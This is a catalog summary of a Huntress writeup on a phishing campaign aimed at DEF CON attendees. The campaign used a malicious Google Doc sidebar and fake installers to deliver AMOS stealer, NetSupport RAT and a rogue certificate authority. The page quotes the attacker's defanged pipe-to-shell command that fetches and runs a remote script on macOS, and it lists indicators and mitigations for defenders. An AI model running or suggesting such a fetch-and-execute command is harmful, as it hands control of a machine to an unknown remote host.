Skip to content

Back to the catalog

Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware
huntress.comwriteup

Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware

Huntress researchers document a phishing campaign targeting Black Hat/DEF CON attendees via X DMs impersonating a CoinDesk exec, luring victims into opening a weaponized Google Doc with a custom Google Apps Script sidebar that runs a fake "decryption" flow before delivering ClickFix-style commands or a manual "update" that drops malware. On macOS this delivers AMOS infostealer plus a LaunchDaemon-based polling backdoor with SOCKS5 proxy capability; a follow-up fake DocSend/Dropbox installer delivers a ClickOnce/NSIS loader chain on Windows that installs NetSupport RAT, a process-hollowed rogue Certificate Authority that MITMs VirusTotal traffic, and an incomplete Ledger wallet-targeting implant. The piece includes deep technical detail on the loader's C2 protocol, stolen/fraudulent code-signing certificates, and infrastructure patterns (multi-branded loader domains), plus mitigation guidance and a link to published IOCs.

TL;DR Huntress traces a post-DEF CON phishing chain using a malicious Google Doc/Apps Script sidebar and fake DocSend installer to deliver AMOS stealer, NetSupport RAT, and a rogue certificate authority that MITMs VirusTotal on victims' machines.
Document

What it is

A targeted phishing campaign against Black Hat/DEF CON attendees, documented by Huntress after one of their own researchers was targeted. On August 9, the X account @HartmansDoeke — impersonating CoinDesk's VP and Head of Marketing (using one person's photo with another's name) — DM'd the researcher about a fake upcoming "online conference," then shared a malicious Google Doc plus an "encryption key."

How it works

The Google Doc carries a custom Apps Script sidebar (DecryptPanel.html) that validates a small set of hard-coded keys, collects victim/host info, reports activity via Telegram, and branches by OS. The actor-supplied key deliberately "fails" to decrypt, prompting the victim toward two sidebar options — ClickFix-style instructions and a manual download. The code contains Russian-language comments and emojis.

On macOS, the ClickFix path instructs the victim to run:

curl -fsSL https://apple-googleapi[.]com/i | zsh

The "Manual Update" fallback points to an actor-run GitHub Releases page hosting a macOS disk image, GAPIUpdate.dmg — an ad-hoc signed app bundle the victim is told to bypass Gatekeeper for. When the first lure failed, the actor followed up the next day with a fake Dropbox DocSend share leading to a counterfeit DocSend installer, delivering AMOS stealer (macOS) and NetSupport RAT + a Ledger wallet implant + a traffic-intercepting proxy (Windows).

flowchart TD
    A[X DM: fake CoinDesk VP] --> B[Google Doc + fake key]
    B --> C{Key 'fails'}
    C --> D[macOS: ClickFix curl]
    C --> E[macOS: GAPIUpdate.dmg via GitHub]
    B -.first lure fails.-> F[Fake DocSend installer]
    F --> G[macOS: AMOS]
    F --> H[Windows: NetSupport RAT + Ledger implant + proxy]

Preconditions / Affected

The sidebar only renders for an authenticated Google user who opens the Doc. Compromise requires the victim to actively copy/paste and run the command, or download the DMG and bypass Gatekeeper — social engineering, not an exploit.

What to do

Block/hunt on these indicators the page names:

  • X account @HartmansDoeke
  • Domain apple-googleapi[.]com (macOS delivery domain)
  • File GAPIUpdate.dmg and the counterfeit DocSend installer
  • The curl … | zsh pipe-to-shell pattern from browser-copied text

Treat unsolicited post-conference DMs linking to "encrypted" Google Docs that demand a key as hostile.

Caveats

At publication, the apple-googleapi[.]com payload was not live: it resolved into a redirect loop pointing to 127.0.0.1:43695, and Huntress's browser gave up after 108 requests of repeated 301s. Huntress only assumes a payload was intended there — the macOS curl path could not be fully reproduced. The GitHub .dmg and the DocSend-lure payloads are the confirmed delivery mechanisms. The excerpt cuts off mid-sentence on the Gatekeeper-bypass instructions.

Organisations named here

  • BARNEHAGEN GUNHILDS MINNE AS
  • ClickFix

Technologies named here

  • macOS
  • Google Apps Script
  • Windows
  • Telegram
  • ClickOnce
  • Google Docs / Google Apps Script
  • BitsTransfer
  • Dropbox DocSend
  • NetSupport Manager 14.10.0004
  • NSIS installer / Electron
  • Ledger Live / Ledger Wallet
  • certutil
  • VirusTotal
  • openssl
  • MSBuild.exe
  • Discord Inc. code-signing certificate
  • Huntress GitHub repository
  • Lenovo code-signing certificate
  • BARNEHAGEN GUNHILDS MINNE AS certificate
  • Google Workspace
  • PowerShell
  • NetSupport Manager
  • .NET

Techniques named here

  • Phishing via social media DM
  • ClickFix-style social engineering
  • Malicious Google Apps Script sidebar
  • Gatekeeper bypass
  • TCC abuse for data exfiltration
  • LaunchDaemon persistence
  • SOCKS5 proxy tasking
  • ClickOnce deployment abuse
  • Encoded PowerShell download-and-execute
  • User-Agent based payload branching
  • Fake onboarding UI / social engineering delay
  • Host fingerprinting and profiling
  • In-memory JavaScript execution via Function constructor
  • Desktop screenshot capture and exfiltration
  • Password-protected archive payload delivery
  • Process hollowing
  • String obfuscation / runtime API resolution
  • Rogue certificate authority installation
  • Kernel-mode driver persistence
  • Registry Run Key persistence
  • Stolen/fraudulent code-signing certificates
  • Steganographic identifier storage
  • Silent error suppression

Threat actors named here

  • @HartmansDoeke
  • AMOS Stealer
  • NetSupport RAT / NetSupport Manager
  • Ledger wallet implant
  • Traffic-intercepting proxy
  • Sleestak